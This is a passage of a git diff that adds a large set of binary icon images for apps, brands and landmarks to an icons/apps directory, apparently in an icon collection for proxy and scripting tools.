00000000..505f1bc8 Binary files /dev/null and b/icons/apps/FishChips_03.png differ diff --git a/icons/apps/FishPort.png b/icons/apps/FishPort.png new file mode 100644 index 00000000..191dcedd Binary files /dev/null and b/icons/apps/FishPort.png differ diff --git a/icons/apps/GaodeMap.jpg b/icons/apps/GaodeMap.jpg new file mode 100644 index 00000000..e5600461 Binary files /dev/null and b/icons/apps/GaodeMap.jpg differ diff --git a/icons/apps/Gcp.png b/icons/apps/Gcp.png new file mode 100644 index 00000000..08e876ab Binary files /dev/null and b/icons/apps/Gcp.png differ diff --git a/icons/apps/GiffGaff.jpeg b/icons/apps/GiffGaff.jpeg new file mode 100644 index 00000000..a32a4c9c Binary files /dev/null and b/icons/apps/GiffGaff.jpeg differ diff --git a/icons/apps/GlaDos.png b/icons/apps/GlaDos.png new file mode 100644 index 00000000..7d81ff19 Binary files /dev/null and b/icons/apps/GlaDos.png differ diff --git a/icons/apps/Google.png b/icons/apps/Google.png new file mode 100644 index 00000000..94dd57e6 Binary files /dev/null and b/icons/apps/Google.png differ diff --git a/icons/apps/GoogleBard.png b/icons/apps/GoogleBard.png new file mode 100644 index 00000000..5058c864 Binary files /dev/null and b/icons/apps/GoogleBard.png differ diff --git a/icons/apps/HeartRate.png b/icons/apps/HeartRate.png new file mode 100644 index 00000000..c88291d7 Binary files /dev/null and b/icons/apps/HeartRate.png differ diff --git a/icons/apps/Hulu.png b/icons/apps/Hulu.png new file mode 100644 index 00000000..6fb195c3 Binary files /dev/null and b/icons/apps/Hulu.png differ diff --git a/icons/apps/JingFuGong.png b/icons/apps/JingFuGong.png new file mode 100644 index 00000000..2883f262 Binary files /dev/null and b/icons/apps/JingFuGong.png differ diff --git a/icons/apps/KakaoTalk.png b/icons/apps/KakaoTalk.png new file mode 100644 index 00000000..f2f605fb Binary files /dev/null and b/icons/apps/KakaoTalk.png differ diff --git a/icons/apps/LastPass.png b/icons/apps/LastPass.png new file mode 100644 index 00000000..6282e0b9 Binary files /dev/null and b/icons/apps/LastPass.png differ diff --git a/icons/apps/LeaningTowerOfPisa.png b/icons/apps/LeaningTowerOfPisa.png new file mode 100644 index 00000000..e27705cf Binary files /dev/null and b/icons/apps/LeaningTowerOfPisa.png differ diff --git a/icons/apps/Lianhezaobao.jpeg b/icons/apps/Lianhezaobao.jpeg new file mode 100644 index 00000000..cd1d3f95 Binary files /dev/null and b/icons/apps/Lianhezaobao.jpeg differ diff --git a/icons/apps/Line_01.png b/icons/apps/Line_01.png new file mode 100644 index 00000000..14420f6c Binary files /dev/null and b/icons/apps/Line_01.png differ diff --git a/icons/apps/Line_02.png b/icons/apps/Line_02.png new file mode 100644 index 00000000..9c5d061a Binary files /dev/null and b/icons/apps/Line_02.png differ diff --git a/icons/apps/Line_03.png b/icons/apps/Line_03.png new file mode 100644 index 00000000..186f3693 Binary files /dev/null and b/icons/apps/Line_03.png differ diff --git a/icons/apps/Line_04.png b/icons/apps/Line_04.png new file mode 100644 index 00000000..498f91c7 Binary files /dev/null and b/icons/apps/Line_04.png differ diff --git a/icons/apps/LoadBalance.png b/icons/apps/LoadBalance.png new file mode 100644 index 00000000..61c5047b Binary files /dev/null and b/icons/apps/LoadBalance.png differ diff --git a/icons/apps/LondonEye.png b/icons/apps/LondonEye.png new file mode 100644 index 00000000..ea9a2bdc Binary files /dev/null and b/icons/apps/LondonEye.png differ diff --git a/icons/apps/Loon.png b/icons/apps/Loon.png new file mode 100644 index 00000000..73d09495 Binary files /dev/null and b/icons/apps/Loon.png differ diff --git a/icons/apps/Loon_01.png b/icons/apps/Loon_01.png new file mode 100644 index 00000000..ea66e161 Binary files /dev/null and b/icons/apps/Loon_01.png differ diff --git a/icons/apps/Loon_02.png b/icons/apps/Loon_02.png new file mode 100644 index 00000000..c97b5d1e Binary files /dev/null and b/icons/apps/Loon_02.png differ diff --git a/icons/apps/Loon_03.png b/icons/apps/Loon_03.png new file mode 100644 index 00000000..2359a89f Binary files /dev/null and b/icons/apps/Loon_03.png differ diff --git a/icons/apps/Loon_04.png b/icons/apps/Loon_04.png new file mode 100644 index 00000000..ff35ee57 Binary files /dev/null and b/icons/apps/Loon_04.png differ diff --git a/icons/apps/Loon_05.png b/icons/apps/Loon_05.png new file mode 100644 index 00000000..222cd209 Binary files /dev/null and b/icons/apps/Loon_05.png differ diff --git a/icons/apps/Loon_06.png b/icons/apps/Loon_06.png new file mode 100644 index 00000000..1b84e83d Binary files /dev/null and b/icons/apps/Loon_06.png differ diff --git a/icons/apps/Loon_07.png b/icons/apps/Loon_07.png new file mode 100644 index 00000000..caccd6ce Binary files /dev/null and b/icons/apps/Loon_07.png differ diff --git a/icons/apps/Loon_08.png b/icons/apps/Loon_08.png new file mode 100644 index 00000000..caac4b93 Binary files /dev/null and b/icons/apps/Loon_08.png differ diff --git a/icons/apps/Loon_09.png b/icons/apps/Loon_09.png new file mode 100644 index 00000000..4c3d302a Binary files /dev/null and b/icons/apps/Loon_09.png differ diff --git a/icons/apps/Loon_10.png b/icons/apps/Loon_10.png new file mode 100644 index 00000000..3c81271d Binary files /dev/null and b/icons/apps/Loon_10.png differ diff --git a/icons/apps/Loon_11.png b/icons/apps/Loon_11.png new file mode 100644 index 00000000..af1a79d3 Binary files /dev/null and b/icons/apps/Loon_11.png differ diff --git a/icons/apps/Loon_12.png b/icons/apps/Loon_12.png new file mode 100644 index 00000000..ac5d2605 Binary files /dev/null and b/icons/apps/Loon_12.png differ diff --git a/icons/apps/Loon_13.png b/icons/apps/Loon_13.png new file mode 100644 index 00000000..fc04c1b5 Binary files /dev/null and b/icons/apps/Loon_13.png differ diff --git a/icons/apps/Loon_16.png b/icons/apps/Loon_16.png new file mode 100644 index 00000000..ac96f23c Binary files /dev/null and b/icons/apps/Loon_16.png differ diff --git a/icons/apps/Loon_18.png b/icons/apps/Loon_18.png new file mode 100644 index 00000000..e85d5eea Binary files /dev/null and b/icons/apps/Loon_18.png differ diff --git a/icons/apps/Loon_19.png b/icons/apps/Loon_19.png new file mode 100644 index 00000000..0c8bb1c9 Binary files /dev/null and b/icons/apps/Loon_19.png differ diff --git a/icons/apps/Loon_20.png b/icons/apps/Loon_20.png new file mode 100644 index 00000000..ae5e95b6 Binary files /dev/null and b/icons/apps/Loon_20.png differ diff --git a/icons/apps/Loon_21.png b/icons/apps/Loon_21.png new file mode 100644 index 00000000..6e8ed18b Binary files /dev/null and b/icons/apps/Loon_21.png differ diff --git a/icons/apps/Loon_22.png b/icons/apps/Loon_22.png new file mode 100644 index 00000000..2aaaafcd Binary files /dev/null and b/icons/apps/Loon_22.png differ diff --git a/icons/apps/Loon_23.png b/icons/apps/Loon_23.png new file mode 100644 index 00000000..11b91569 Binary files /dev/null and b/icons/apps/Loon_23.png differ diff --git a/icons/apps/Loon_24.png b/icons/apps/Loon_24.png new file mode 100644 index 00000000..4b34489e Binary files /dev/null and b/icons/apps/Loon_24.png differ diff --git a/icons/apps/Loon_25.png b/icons/apps/Loon_25.png new file mode 100644 index 00000000..760c6dea Binary files /dev/null and b/icons/apps/Loon_25.png differ diff --git a/icons/apps/Loon_26.png b/icons/apps/Loon_26.png new file mode 100644 index 00000000..4c01f31d Binary files /dev/null and b/icons/apps/Loon_26.png differ diff --git a/icons/apps/Loon_27.png b/icons/apps/Loon_27.png new file mode 100644 index 00000000..2858fde4 Binary files /dev/null and b/icons/apps/Loon_27.png differ diff --git a/icons/apps/Loon_28.png b/icons/apps/Loon_28.png new file mode 100644 index 00000000..0f467159 Binary files /dev/null and b/icons/apps/Loon_28.png differ diff --git a/icons/apps/Loon_29.png b/icons/apps/Loon_29.png new file mode 100644 index 00000000..5b4ce856 Binary files /dev/null and b/icons/apps/Loon_29.png differ diff --git a/icons/apps/Macat.png b/icons/apps/Macat.png new file mode 100644 index 00000000..fc1f0f59 Binary files /dev/null and b/icons/apps/Macat.png differ diff --git a/icons/apps/Merlion.png b/icons/apps/Merlion.png new file mode 100644 index 00000000..69188df0 Binary files /dev/null and b/icons/apps/Merlion.png differ diff --git a/icons/apps/Message.png b/icons/apps/Message.png new file mode 100644 index 00000000..dcd6681e Binary files /dev/null and b/icons/apps/Message.png differ diff --git a/icons/apps/Microsoft.png b/icons/apps/Microsoft.png new file mode 100644 index 00000000..a1f3cd58 Binary files /dev/null and b/icons/apps/Microsoft.png differ diff --git a/icons/apps/Movist.png b/icons/apps/Movist.png new file mode 100644 index 00000000..5865b5a5 Binary files /dev/null and b/icons/apps/Movist.png differ diff --git a/icons/apps/NationalMonument.png b/icons/apps/NationalMonument.png new file mode 100644 index 00000000..13467a10 Binary files /dev/null and b/icons/apps/NationalMonument.png differ diff --git a/icons/apps/ObeliscoDeBuenosAires.png b/icons/apps/ObeliscoDeBuenosAires.png new file mode 100644 index 00000000..3035e00a Binary files /dev/null and b/icons/apps/ObeliscoDeBuenosAires.png differ diff --git a/icons/apps/Office.png b/icons/apps/Office.png new file mode 100644 index 00000000..e1e72fdd Binary files /dev/null and b/icons/apps/Office.png differ diff --git a/icons/apps/OpenAI.png b/icons/apps/OpenAI.png new file mode 100644 index 00000000..df4006af Binary files /dev/null and b/icons/apps/OpenAI.png differ diff --git a/icons/apps/OpenAI_01.png b/icons/apps/OpenAI_01.png new file mode 100644 index 00000000..bb6cfd7a Binary files /dev/null and b/icons/apps/OpenAI_01.png differ diff --git a/icons/apps/PetronasTowers.png b/icons/apps/PetronasTowers.png new file mode 100644 index 00000000..6718414c Binary files /dev/null and b/icons/apps/PetronasTowers.png differ diff --git a/icons/apps/PlayStation.png b/icons/apps/PlayStation.png new file mode 100644 index 00000000..0bc826ef Binary files /dev/null and b/icons/apps/PlayStation.png differ diff --git a/icons/apps/PrimeVideo.png b/icons/apps/PrimeVideo.png new file mode 100644 index 00000000..45d05707 Binary files /dev/null and b/icons/apps/PrimeVideo.png differ diff --git a/icons/apps/QQMusic.png b/icons/apps/QQMusic.png new file mode 100644 index 00000000..19cc20cb Binary files /dev/null and b/icons/apps/QQMusic.png differ diff --git a/icons/apps/QQMusic_01.png b/icons/apps/QQMusic_01.png new file mode 100644 index 00000000..c8c0e935 Binary files /dev/null and b/icons/apps/QQMusic_01.png differ diff --git a/icons/apps/Quantumult_X-02.png b/icons/apps/Quantumult_X-02.png new file mode 100644 index 00000000..58ae7cae Binary files /dev/null and b/icons/apps/Quantumult_X-02.png differ diff --git a/icons/apps/Quantumult_X.png b/icons/apps/Quantumult_X.png new file mode 100644 index 00000000..70ff2dc1 Binary files /dev/null and b/icons/apps/Quantumult_X.png differ diff --git a/icons/apps/QuarkDrive.png b/icons/apps/QuarkDrive.png new file mode 100644 index 00000000..0d3d169e Binary files /dev/null and b/icons/apps/QuarkDrive.png differ diff --git a/icons/apps/Riot.png b/icons/apps/Riot.png new file mode 100644 index 00000000..515cb4be Binary files /dev/null and b/icons/apps/Riot.png differ diff --git a/icons/apps/RiotGames.png b/icons/apps/RiotGames.png new file mode 100644 index 00000000..2bc89c62 Binary files /dev/null and b/icons/apps/RiotGames.png differ diff --git a/icons/apps/RiotGames_02.png b/icons/apps/RiotGames_02.png new file mode 100644 index 00000000..ee2ca05e Binary files /dev/null and b/icons/apps/RiotGames_02.png differ diff --git a/icons/apps/RuinsOfSaintPauls.png b/icons/apps/RuinsOfSaintPauls.png new file mode 100644 index 00000000..74dfc40d Binary files /dev/null and b/icons/apps/RuinsOfSaintPauls.png differ diff --git a/icons/apps/SaintBasilsCathedral.png b/icons/apps/SaintBasilsCathedral.png new file mode 100644 index 00000000..81ef098a Binary files /dev/null and b/icons/apps/SaintBasilsCathedral.png differ diff --git a/icons/apps/Script-Hub.png b/icons/apps/Script-Hub.png new file mode 100644 index 00000000..da2a3f0a Binary files /dev/null and b/icons/apps/Script-Hub.png differ diff --git a/icons/apps/Sensei.png b/icons/apps/Sensei.png new file mode 100644 index 00000000..e8a62a7b Binary files /dev/null and b/icons/apps/Sensei.png differ diff --git a/icons/apps/Shortcuts.png b/icons/apps/Shortcuts.png new file mode 100644 index 00000000..8fe83e3f Binary files /dev/null and b/icons/apps/Shortcuts.png differ diff --git a/icons/apps/Snapchat.png b/icons/apps/Snapchat.png new file mode 100644 index 00000000..c6fb9336 Binary files /dev/null and b/icons/apps/Snapchat.png differ diff --git a/icons/apps/Snapchat_02.png b/icons/apps/Snapchat_02.png new file mode 100644 index 00000000..d76027ec Binary files /dev/null and b/icons/apps/Snapchat_02.png differ diff --git a/icons/apps/Soul.png b/icons/apps/Soul.png new file mode 100644 index 00000000..a0abb6eb Binary files /dev/null and b/icons/apps/Soul.png differ diff --git a/icons/apps/Spotify_05.png b/icons/apps/Spotify_05.png new file mode 100644 index 00000000..6a505321 Binary files /dev/null and b/icons/apps/Spotify_05.png differ diff --git a/icons/apps/Stash.png b/icons/apps/Stash.png new file mode 100644 index 00000000..580a7574 Binary files /dev/null and b/icons/apps/Stash.png differ diff --git a/icons/apps/Stash_01.png b/icons/apps/Stash_01.png new file mode 100644 index 00000000..0be67013 Binary files /dev/null and b/icons/apps/Stash_01.png differ diff --git a/icons/apps/Stash_02.png b/icons/apps/Stash_02.png new file mode 100644 index 00000000..f21ad875 Binary files /dev/null and b/icons/apps/Stash_02.png differ diff --git a/icons/apps/StatueOfLiberty.png b/icons/apps/StatueOfLiberty.png new file mode 100644 index 00000000..da184a66 Binary files /dev/null and b/icons/apps/StatueOfLiberty.png differ diff --git a/icons/apps/StoneHenge.png b/icons/apps/StoneHenge.png new file mode 100644 index 00000000..e3655122 Binary files /dev/null and b/icons/apps/StoneHenge.png differ diff --git a/icons/apps/SubStore-01.png b/icons/apps/SubStore-01.png new file mode 100644 index 00000000..7f55b69a Binary files /dev/null and b/icons/apps/SubStore-01.png differ diff --git a/icons/apps/SubStore-02.png b/icons/apps/SubStore-02.png new file mode 100644 index 00000000..ef915e9b Binary files /dev/null and b/icons/apps/SubStore-02.png differ diff --git a/icons/apps/SubStore.png b/icons/apps/SubStore.png new file mode 100644 index 00000000..caa576b7 Binary files /dev/null and b/icons/apps/SubStore.png differ diff --git a/icons/apps/Surge.png b/icons/apps/Surge.png new file mode 100644 index 00000000..8bcf000a Binary files /dev/null and b/icons/apps/Surge.png differ diff --git a/icons/apps/Surge_01.png b/icons/apps/Surge_01.png new file mode 100644 index 00000000..e9017011 Binary files /dev/null and b/icons/apps/Surge_01.png differ diff --git a/icons/apps/SydneyOperaHouse.png b/icons/apps/SydneyOperaHouse.png new file mode 100644 index 00000000..54b82a0a Binary files /dev/null and b/icons/apps/SydneyOperaHouse.png differ diff --git a/icons/apps/Telegram_02.png b/icons/apps/Telegram_02.png new file mode 100644 index 00000000..83130a51 Binary files /dev/null and b/icons/apps/Telegram_02.png differ diff --git a/icons/apps/TencentSport.png b/icons/apps/TencentSport.png new file mode 100644 index 00000000..3b57a30f Binary files /dev/null and b/icons/apps/TencentSport.png differ diff --git a/icons/apps/TheFederalAssembly.png b/icons/apps/TheFederalAssembly.png new file mode 100644 index 00000000..6bf3a92b Binary files /dev/null and b/icons/apps/TheFederalAssembly.png differ diff --git a/icons/apps/TheGreatWall.png b/icons/apps/TheGreatWall.png new file mode 100644 index 00000000..c317b29f Binary files /dev/null and b/icons/apps/TheGreatWall.png differ diff --git a/icons/apps/TheWhiteHouse.png b/icons/apps/TheWhiteHouse.png new file mode 100644 index 00000000..02d812f6 Binary files /dev/null and b/icons/apps/TheWhiteHouse.png differ diff --git a/icons/apps/Thunder.png b/icons/apps/Thunder.png new file mode 100644 index 00000000..b5ac79d7 Binary files /dev/null and b/icons/apps/Thunder.png differ diff --git a/icons/apps/Udn.png b/icons/apps/Udn.png new file mode 100644 index 00000000..a6129fa4 Binary files /dev/null and b/icons/apps/Udn.png differ diff --git a/icons/apps/UrlTest.png b/icons/apps/UrlTest.png new file mode 100644 index 00000000..33ae95fb Binary files /dev/null and b/icons/apps/UrlTest.png differ diff --git a/icons/apps/Viu.png b/icons/apps/Viu.png new file mode 100644 index 00000000..8aba06f8 Binary files /dev/null and b/icons/apps/Viu.png differ diff --git a/icons/apps/Walbum.png b/icons/apps/Walbum.png new file mode 100644 index 00000000..d14e0a0c Binary files /dev/null and b/icons/apps/Walbum.png differ diff --git a/icons/apps/Weibo-00.png b/icons/apps/Weibo-00.png new file mode 100644 index 00000000..c7add937 Binary files /dev/null and b/icons/apps/Weibo-00.png differ diff --git a/icons/apps/Weibo-01.png b/icons/apps/Weibo-01.png new file mode 100644 index 00000000..93cd383c Binary files /dev/null and b/icons/apps/Weibo-01.png differ diff --git a/icons/apps/Weibo-02.png b/icons/apps/Weibo-02.png new file mode 100644 index 00000000..08ada698 Binary files /dev/null and b/icons/apps/Weibo-02.png differ diff --git a/icons/apps/Weibo-03.png b/icons/apps/Weibo-03.png new file mode 100644 index 00000000..012e1555 Binary files /dev/null and b/icons/apps/Weibo-03.png differ diff --git a/icons/apps/Weibo-04.png b/icons/apps/Weibo-04.png new file mode 100644 index 00000000..ae65ed72 Binary files /dev/null and b/icons/apps/Weibo-04.png differ diff --git a/icons/apps/Weibo-05.png b/icons/apps/Weibo-05.png new file mode 100644 index 00000000..6b7986da Binary files /dev/null and b/icons/apps/Weibo-05.png differ diff --git a/icons/apps/Weibo-06.png b/icons/apps/Weibo-06.png new file mode 100644 index 00000000..4214243f Binary files /dev/null and b/icons/apps/Weibo-06.png differ diff --git a/icons/apps/Weibo-07.png b/icons/apps/Weibo-07.png new file mode 100644 index 00000000..aec01794 Binary files /dev/null and b/icons/apps/Weibo-07.png differ diff --git a/icons/apps/Weibo-08.png b/icons/apps/Weibo-08.png new file mode 100644 index 00000000..4ba5201e Binary files /dev/null and b/icons/apps/Weibo-08.png differ diff --git a/icons/apps/Weibo-09.png b/icons/apps/Weibo-09.png new file mode 100644 index 00000000..b87f11c2 Binary files /dev/null and b/icons/apps/Weibo-09.png differ diff --git a/icons/apps/Weibo-10.png b/icons/apps/Weibo-10.png new file mode 100644 index 00000000..6c477fa8 Binary files /dev/null and b/icons/apps/Weibo-10.png differ diff --git a/icons/apps/Weibo-11.png b/icons/apps/Weibo-11.png new file mode 100644 index 00000000..ab1fa992 Binary files /dev/null and b/icons/apps/Weibo-11.png differ diff --git a/icons/apps/Weibo-12.png b/icons/apps/Weibo-12.png new file mode 100644 index 00000000..4775ef3f Binary files /dev/null and b/icons/apps/Weibo-12.png differ diff --git a/icons/apps/Weibo-13.png b/icons/apps/Weibo-13.png new file mode 100644 index 00000000..d9ccc78a Binary files /dev/null and b/icons/apps/Weibo-13.png differ diff --git a/icons/apps/Weibo-14.png b/icons/apps/Weibo-14.png new file mode 100644 index 00000000..cbfb3a1c Binary files /dev/null and b/icons/apps/Weibo-14.png differ diff --git a/icons/apps/Weibo-15.png b/icons/apps/Weibo-15.png new file mode 100644 index 00000000..44322ab2 Binary files /dev/null and b/icons/apps/Weibo-15.png differ diff --git a/icons/apps/Weibo-16.png b/icons/apps/Weibo-16.png new file mode 100644 index 00000000..c74c30d7 Binary files /dev/null and b/icons/apps/Weibo-16.png differ diff --git a/icons/apps/Weibo-17.png b/icons/apps/Weibo-17.png new file mode 100644 index 00000000..35f1a874 Binary files /dev/null and b/icons/apps/Weibo-17.png differ diff --git a/icons/apps/Weibo-18.png b/icons/apps/Weibo-18.png new file mode 100644 index 00000000..f68e370b Binary files /dev/null and b/icons/apps/Weibo-18.png differ diff --git a/icons/apps/Weibo-19.png b/icons/apps/Weibo-19.png new file mode 100644 index 00000000..3f653391 Binary files /dev/null and b/icons/apps/Weibo-19.png differ diff --git a/icons/apps/Weibo-20.png b/icons/apps/Weibo-20.png new file mode 100644 index 00000000..598aecae Binary files /dev/null and b/icons/apps/Weibo-20.png differ diff --git a/icons/apps/Weibo-21.png b/icons/apps/Weibo-21.png new file mode 100644 index 00000000..38e15c26 Binary files /dev/null and b/icons/apps/Weibo-21.png differ diff --git a/icons/apps/Weibo-22.png b/icons/apps/Weibo-22.png new file mode 100644 index 00000000..78290bc1 Binary files /dev/null and b/icons/apps/Weibo-22.png differ diff --git a/icons/apps/Weibo-23.png b/icons/apps/Weibo-23.png new file mode 100644 index 00000000..e1125f72 Binary files /dev/null and b/icons/apps/Weibo-23.png differ diff --git a/icons/apps/Weibo-24.png b/icons/apps/Weibo-24.png new file mode 100644 index 00000000..8aa7a112 Binary files /dev/null and b/icons/apps/Weibo-24.png differ diff --git a/icons/apps/Weibo-25.png b/icons/apps/Weibo-25.png new file mode 100644 index 00000000..7d8b8f01 Binary files /dev/null and b/icons/apps/Weibo-25.png differ diff --git a/icons/apps/Weibo-26.png b/icons/apps/Weibo-26.png new file mode 100644 index 00000000..495e2013 Binary files /dev/null and b/icons/apps/Weibo-26.png differ diff --git a/icons/apps/Weibo-27.png b/icons/apps/Weibo-27.png new file mode 100644 index 00000000..04f4bc13 Binary files /dev/null and b/icons/apps/Weibo-27.png differ diff --git a/icons/apps/Weibo-28.png b/icons/apps/Weibo-28.png new file mode 100644 index 00000000..881deacf Binary files /dev/null and b/icons/apps/Weibo-28.png differ diff --git a/icons/apps/Weibo-29.png b/icons/apps/Weibo-29.png new file mode 100644 index 00000000..34910077 Binary files /dev/null and b/icons/apps/Weibo-29.png differ diff --git a/icons/apps/Weibo-30.png b/icons/apps/Weibo-30.png new file mode 100644 index 00000000..7ac21088 Binary files /dev/null and b/icons/apps/Weibo-30.png differ diff --git a/icons/apps/Weibo-31.png b/icons/apps/Weibo-31.png new file mode 100644 index 00000000..44d2455e Binary files /dev/null and b/icons/apps/Weibo-31.png differ diff --git a/icons/apps/Weibo-32.png b/icons/apps/Weibo-32.png new file mode 100644 index 00000000..c10e2caf Binary files /dev/null and b/icons/apps/Weibo-32.png differ diff --git a/icons/apps/Weibo-33.png b/icons/apps/Weibo-33.png new file mode 100644 index 00000000..93fc378d Binary files /dev/null and b/icons/apps/Weibo-33.png differ diff --git a/icons/apps/Weibo-34.png b/icons/apps/Weibo-34.png new file mode 100644 index 00000000..7f71b64a Binary files /dev/null and b/icons/apps/Weibo-34.png differ diff --git a/icons/apps/Weibo-35.png b/icons/apps/Weibo-35.png new file mode 100644 index 00000000..41b84f32 Binary files /dev/null and b/icons/apps/Weibo-35.png differ diff --git a/icons/apps/Weibo-36.png b/icons/apps/Weibo-36.png new file mode 100644 index 00000000..0c1066be Binary files /dev/null and b/icons/apps/Weibo-36.png differ diff --git a/icons/apps/Weibo-37.png b/icons/apps/Weibo-37.png new file mode 100644 index 00000000..a87fc1c7 Binary files /dev/null and b/icons/apps/Weibo-37.png differ diff --git a/icons/apps/Weibo-38.png b/icons/apps/Weibo-38.png new file mode 100644 index 00000000..2398d74f Binary files /dev/null and b/icons/apps/Weibo-38.png differ diff --git a/icons/apps/Weibo-39.png b/icons/apps/Weibo-39.png new file mode 100644 index 00000000..05bb98b9 Binary files /dev/null and b/icons/apps/Weibo-39.png differ diff --git a/icons/apps/Weibo-40.png b/icons/apps/Weibo-40.png new file mode 100644 index 00000000..fb52d803 Binary files /dev/null and b/icons/apps/Weibo-40.png differ diff --git a/icons/apps/Weibo-41.png b/icons/apps/Weibo-41.png new file mode 100644 index 00000000..6e039ed7 Binary files /dev/null and b/icons/apps/Weibo-41.png differ diff --git a/icons/apps/Weibo-42.png b/icons/apps/Weibo-42.png new file mode 100644 index 00000000..2cec5b22 Binary files /dev/null and b/icons/apps/Weibo-42.png differ diff --git a/icons/apps/Weibo-43.png b/icons/apps/Weibo-43.png new file mode 100644 index 00000000..c3e77b6d Binary files /dev/null and b/icons/apps/Weibo-43.png differ diff --git a/icons/apps/WeiboTalk.png b/icons/apps/WeiboTalk.png new file mode 100644 index 00000000..6ef0cb85 Binary files /dev/null and b/icons/apps/WeiboTalk.png differ diff --git a/icons/apps/WhatsApp.png b/icons/apps/WhatsApp.png new file mode 100644 index 00000000..739f6db0 Binary files /dev/null and b/icons/apps/WhatsApp.png differ diff --git a/icons/apps/White.png b/icons/apps/White.png new file mode 100644 index 00000000..767b68bc Binary files /dev/null and b/icons/apps/White.png differ diff --git a/icons/apps/X.png b/icons/apps/X.png new file mode 100644 index 00000000..315f8eb5 Binary files /dev/null and b/icons/apps/X.png differ diff --git a/icons/apps/YouTubeMusic.png b/icons/apps/YouTubeMusic.png new file mode 100644 index 00000000..25dee83c Binary files /dev/null and b/icons/apps/YouTubeMusic.png differ diff --git a/icons/apps/Zalo.png b/icons/apps/Zalo.png new file mode 100644 index 00000000..616d5f55 Binary files /dev/null and b/icons/apps/Zalo.png differ diff --git a/icons/apps/cainiao.png b/icons/apps/cainiao.png new file mode 100644 index 00000000..762d94f6 Binary files /dev/null and b/icons/apps/cainiao.png differ diff --git a/icons/apps/ccbLife.jpg b/icons/apps/ccbLife.jpg new file mode 100644 index 00000000..e2369c3a Binary files /dev/null and b/icons/apps/ccbLife.jpg differ diff --git a/icons/apps/chery.png b/icons/apps/chery.png new file mode 100644 index 00000000..d677c2d9 Binary files /dev/null and b/icons/apps/chery.png differ diff --git a/icons/apps/dalemeipisa.png b/icons/apps/dalemeipisa.png new file mode 100644 index 00000000..59118447 Binary files /dev/null and b/icons/apps/dalemeipisa.png differ diff --git a/icons/apps/didi.png b/icons/apps/didi.png new file mode 100644 index 00000000..ad41d333 Binary files /dev/null and b/icons/apps/didi.png differ diff --git a/icons/apps/douyu.png b/icons/apps/douyu.png new file mode 100644 index 00000000..ba25b5c0 Binary files /dev/null and b/icons/apps/douyu.png differ diff --git a/icons/apps/flyert.png b/icons/apps/flyert.png new file mode 100644 index 00000000..2f3e65ef Binary files /dev/null and b/icons/apps/flyert.png differ diff --git a/icons/apps/github_00.png b/icons/apps/github_00.png new file mode 100644 index 00000000..d03700d2 Binary files /dev/null and b/icons/apps/github_00.png differ diff --git a/icons/apps/github_01.png b/icons/apps/github_01.png new file mode 100644 index 00000000..ee685395 Binary files /dev/null and b/icons/apps/github_01.png differ diff --git a/icons/apps/github_02.png b/icons/apps/github_02.png new file mode 100644 index 00000000..f9511f13 Binary files /dev/null and b/icons/apps/github_02.png differ diff --git a/icons/apps/github_03.png b/icons/apps/github_03.png new file mode 100644 index 00000000..b5beaa05 Binary files /dev/null and b/icons/apps/github_03.png differ diff --git a/icons/apps/github_04.png b/icons/apps/github_04.png new file mode 100644 index 00000000..38ee3bec Binary files /dev/null and b/icons/apps/github_04.png differ diff --git a/icons/apps/github_05.png b/icons/apps/github_05.png new file mode 100644 index 00000000..ee6c1a42 Binary files /dev/null and b/icons/apps/github_05.png differ diff --git a/icons/apps/github_06.png b/icons/apps/github_06.png new file mode 100644 index 00000000..1c72f26a Binary files /dev/null and b/icons/apps/github_06.png differ diff --git a/icons/apps/github_07.png b/icons/apps/github_07.png new file mode 100644 index 00000000..58847b33 Binary files /dev/null and b/icons/apps/github_07.png differ diff --git a/icons/apps/github_08.png b/icons/apps/github_08.png new file mode 100644 index 00000000..41ce60ad Binary files /dev/null and b/icons/apps/github_08.png differ diff --git a/icons/apps/github_09.png b/icons/apps/github_09.png new file mode 100644 index 00000000..73c93107 Binary files /dev/null and b/icons/apps/github_09.png differ diff --git a/icons/apps/github_10.png b/icons/apps/github_10.png new file mode 100644 index 00000000..bd8ae240 Binary files /dev/null and b/icons/apps/github_10.png differ diff --git a/icons/apps/github_11.png b/icons/apps/github_11.png new file mode 100644 index 00000000..fc27557b Binary files /dev/null and b/icons/apps/github_11.png differ diff --git a/icons/apps/github_12.png b/icons/apps/github_12.png new file mode 100644 index 00000000..326d33eb Binary files /dev/null and b/icons/apps/github_12.png differ diff --git a/icons/apps/github_13.png b/icons/apps/github_13.png new file mode 100644 index 00000000..58107e7a Binary files /dev/null and b/icons/apps/github_13.png differ diff --git a/icons/apps/github_14.png b/icons/apps/github_14.png new file mode 100644 index 00000000..ad155371 Binary files /dev/null and b/icons/apps/github_14.png differ diff --git a/icons/apps/github_15.png b/icons/apps/github_15.png new file mode 100644 index 00000000..0c78aed1 Binary files /dev/null and b/icons/apps/github_15.png differ diff --git a/icons/apps/github_16.png b/icons/apps/github_16.png new file mode 100644 index 00000000..3b23c7c3 Binary files /dev/null and b/icons/apps/github_16.png differ diff --git a/icons/apps/github_17.png b/icons/apps/github_17.png new file mode 100644 index 00000000..f2837ecc Binary files /dev/null and b/icons/apps/github_17.png differ diff --git a/icons/apps/github_18.png b/icons/apps/github_18.png new file mode 100644 index 00000000..d622e21a Binary files /dev/null and b/icons/apps/github_18.png differ diff --git a/icons/apps/iRingo.png b/icons/apps/iRingo.png new file mode 100644 index 00000000..bd08b671 Binary files /dev/null and b/icons/apps/iRingo.png differ diff --git a/icons/apps/infiniPort.png b/icons/apps/infiniPort.png new file mode 100644 index 00000000..1a681949 Binary files /dev/null and b/icons/apps/infiniPort.png differ diff --git a/icons/apps/ipInfo.png b/icons/apps/ipInfo.png new file mode 100644 index 00000000..b187458d Binary files /dev/null and b/icons/apps/ipInfo.png differ diff --git a/icons/apps/iqZone.png b/icons/apps/iqZone.png new file mode 100644 index 00000000..3ba18ad2 Binary files /dev/null and b/icons/apps/iqZone.png differ diff --git a/icons/apps/jd.png b/icons/apps/jd.png new file mode 100644 index 00000000..072c8851 Binary files /dev/null and b/icons/apps/jd.png differ diff --git a/icons/apps/kuaishou.png b/icons/apps/kuaishou.png new file mode 100644 index 00000000..24aa0a1e Binary files /dev/null and b/icons/apps/kuaishou.png differ diff --git a/icons/apps/meituan.png b/icons/apps/meituan.png new file mode 100644 index 00000000..49b950e4 Binary files /dev/null and b/icons/apps/meituan.png differ diff --git a/icons/apps/meituxiuxiu.png b/icons/apps/meituxiuxiu.png new file mode 100644 index 00000000..f38e3643 Binary files /dev/null and b/icons/apps/meituxiuxiu.png differ diff --git a/icons/apps/meta.png b/icons/apps/meta.png new file mode 100644 index 00000000..bb23ad1d Binary files /dev/null and b/icons/apps/meta.png 